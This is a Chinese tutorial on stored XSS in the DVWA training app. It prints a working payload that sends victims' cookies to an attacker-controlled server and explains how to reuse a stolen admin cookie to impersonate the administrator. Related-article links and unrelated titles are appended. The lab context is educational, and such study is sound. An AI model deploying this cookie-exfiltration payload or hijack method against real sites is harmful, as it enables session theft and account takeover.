存储型跨站可以将XSS语句直接写入到数据库中,因而相比反射型跨站的利用价值要更大。

在DVWA中选择XSS stored,这里提供了一个类型留言本的页面。

我们首先查看low级别的代码,这里提供了$message和$name两个变量,分别用于接收用户在Message和Name框中所提交的数据。对这两个变量都通过mysql_real_escape_string()函数进行了过滤,但是这只能阻止SQL注入漏洞。

可以看出,在low级别下,Name和Message这两个文本框都存在跨站漏洞,但是由于DVWA对name框的长度进行了限制,最多只允许输入10个字符,所以我们这里在Message框输入跨站语句“<script>alert('hi')</script>”,以后任何人只要访问这个留言页面,就可以触发跨站语句,实现弹框。

当然,弹框并不是目的,XSS的主要用途之一是盗取cookie,也就是将用户的cookie自动发送到***的电脑中。

下面我们准备一台安装有PHP环境的Web服务器(IP地址192.168.80.132),在其中创建一个名为getcookie.php的网页,网页代码如下:

然后在Message框中输入下面这段XSS语句,注意中间没有换行:

<script>document.write('<img src="http://192.168.80.132/getcookie.php?cookie='+document.cookie+'"  height=0 border=0 />');</script>

在DVWA中提交之后,这时就会在getcookie.php网页所在的目录下生成一个名为cookie.txt的文件,其中就含有窃取过来的cookie:

那么我们该怎么利用窃取过来的cookie呢?由于这个cookie是以管理员的身份创建的,有些网站的cookie中会直接包含有管理员的账号和密码,这里的cookie虽然没有密码,但我们可以利用这个cookie假冒管理员的身份去执行某些操作。

比如在之前的CSRF测试页面中可以更改管理员的密码,我们将这个页面的URL复制下来:http://192.168.80.1/dvwa/vulnerabilities/csrf/,然后新打开一个浏览器窗口,将URL粘贴过去直接访问,由于这个页面只有管理员权限才可以访问,因而这时就会自动跳转到DVWA的登录界面。

现在我们已经窃取到了管理员的cookie,因而就可以绕过身份验证,而直接去访问CSRF页面。当然这里需要借助一些可以修改cookie的工具,很多***工具都提供了类似的功能,比如经典的啊D。在“扫描注入点”的“检测网址”中输入要访问的URL,然后点击最右侧的“cookies 修改”按钮,在下方的文本框中输入窃取来的cookie,点击修改按钮,然后再点击“打开网页”按钮,这时就可以直接以管理员身份访问这个页面了。

下面再分析一下medium级别的代码,可以看到对变量$message用htmlspecialchars()函数进行了过滤,这样Message输入框就不存在XSS漏洞了,但是Name框仍有漏洞。不过由于DVWA对Name框的长度进行了限制,只允许最多输入10个字符,因而这里的XSS***就有些难度了,网上有不少如何缩短XSS语句长度的资料,但我没查到合适的***方法,这个问题也只能暂时搁置了。

在high级别中,则毫无疑问地对$message和$name都进行了过滤,这样跨站漏洞也就被彻底阻止了。

DVWA系列之21 存储型XSS分析与利用相关推荐

  1. DVWA通关--存储型XSS(XSS (Stored))

    目录 LOW 通关步骤 源码分析 MEDIUM 通关步骤 源码分析 HIGH 通关步骤 源码分析 IMPOSSIBLE 源码分析 存储型XSS也叫持久型XSS,从名字就知道特征是攻击代码会被存储在数据 ...

  2. DVWA V1.9:Reflected Cross Site Scripting(存储型XSS)

    DVWA V1.9:Reflected Cross Site Scripting(存储型XSS) 存储型 XSS 介绍 Low 级别 核心代码 官方提示 漏洞利用 Medium 级别 核心代码 官方提 ...

  3. DVWA之Stored XSS(存储型XSS)代码审计

    目录 Low Medium Hight Impossible Low 关键源码 trim(string,charlist) : 移除string字符两侧的预定义字符,预定义字符包括\t . \n .\ ...

  4. 富文本存储型XSS的模糊测试之道

    富文本存储型XSS的模糊测试之道 凭借黑吧安全网漏洞报告平台的公开案例数据,我们足以管中窥豹,跨站脚本漏洞(Cross-site Script)仍是不少企业在业务安全风险排查和修复过程中需要对抗的&q ...

  5. iCMS前台存储型XSS漏洞

    该漏洞CNVD-ID: CNVD-2019-10126 漏洞提交CNVD后,待CNVD公示才发出本文. 测试环境: 程序版本:v7.0.14 Windows + firefox + burpsuite ...

  6. 三、详解 DVWA_Stored存储型XSS

    创建时间:2022年5月16日21:56:10 作者:在下小黄 存储区:后端数据库 插入点:HTML 定义: 攻击者直接将恶意JS代码上传或者存储到漏洞服务器中,当其他用户浏览该页面时,站点即从数据库 ...

  7. 【安全牛学习笔记】存储型XSS和BEEF浏览器攻击框架

    存储型XSS 长期存储于服务器端 每次用于访问都会被执行javascript脚本 Name:客户端表单长度限制 客户端.截断代理 <script src=http://1.1.1.1/a.js& ...

  8. 存储型XSS结合XSS平台获取cookie信息进后台——efucms

    百度搜索:efucms-含有存储型XSS漏洞的源码包 下载即可 实验目的:利用存储型XSS获取管理员Cookie信息,修改本地Cookie信息为管理员Cookie,以管理员身份不输入用户名.密码直接登 ...

  9. UEditor编辑器存储型XSS漏洞

    挖洞经验|UEditor编辑器存储型XSS漏洞 - FreeBuf网络安全行业门户 前言 UEditor是由百度web前端研发部开发的所见即所得富文本web编辑器,具有轻量,可定制,注重用户体验等特点 ...

最新文章

  1. mysql当数据改变时_当数据库里面的价格变化时,发送信息到企业微信中
  2. windows添加删除静态路由
  3. 阿里云linux主机安装qt报错:缺少libxkbcommon-x11.so.0
  4. 「PDF Expert」macOS 全能型 PDF 工具,几大能力务必了解下
  5. [设计模式] javascript 之 建造者模式
  6. 《linux核心应用命令速查》连载十五:fuser:用文件或者套接口表示进程
  7. 网易严选数据产品实践
  8. 山东大学机电信息学院计算机网络,山东大学机电与信息工程学院2021考研复试考核内容...
  9. python导入数据画折线图_Python学习第93课-导入csv数据并绘制折线图
  10. 【Day28 文献泛读】人类数字、时间和空间加工的关联性与独立性
  11. 人类面部表情数据集(12万张表情照片)
  12. 7-4 换硬币(20 分)
  13. name '_name_' is not defined
  14. UDT(【CVPR2019】Unsupervised Deep Tracking无监督目标跟踪)
  15. RapidMiner 5.3.015源代码下载并且正确的运行
  16. 技术名词解释——Camus
  17. png 微软ppt 透明度_超实用!PPT微软官方教程
  18. Git与GitHub说明分析
  19. 亚马逊图片优化五点技巧
  20. 学期作品-考勤信息管理系统文档之《立项报告》

热门文章

  1. ArrayList之坑点
  2. (0096)iOS开发之应用间的分享系列(1)
  3. java plus方法_Java中MyBatis Plus知识点总结
  4. python定义私有变量的方法_Python怎么修改私有属性 如何访问python类中的私有方法...
  5. Python—sqlalchemy
  6. python爬虫学习(三):使用re库爬取淘宝商品,并把结果写进txt文件
  7. Hadoop中RPC协议小例子报错java.lang.reflect.UndeclaredThrowableException解决方法
  8. Windows 编程之 对话框总结
  9. MySQL--使用innodb_force_recovery修复数据库异常
  10. matlab 基于 libsvm工具箱的svm分类遇到的问题与解决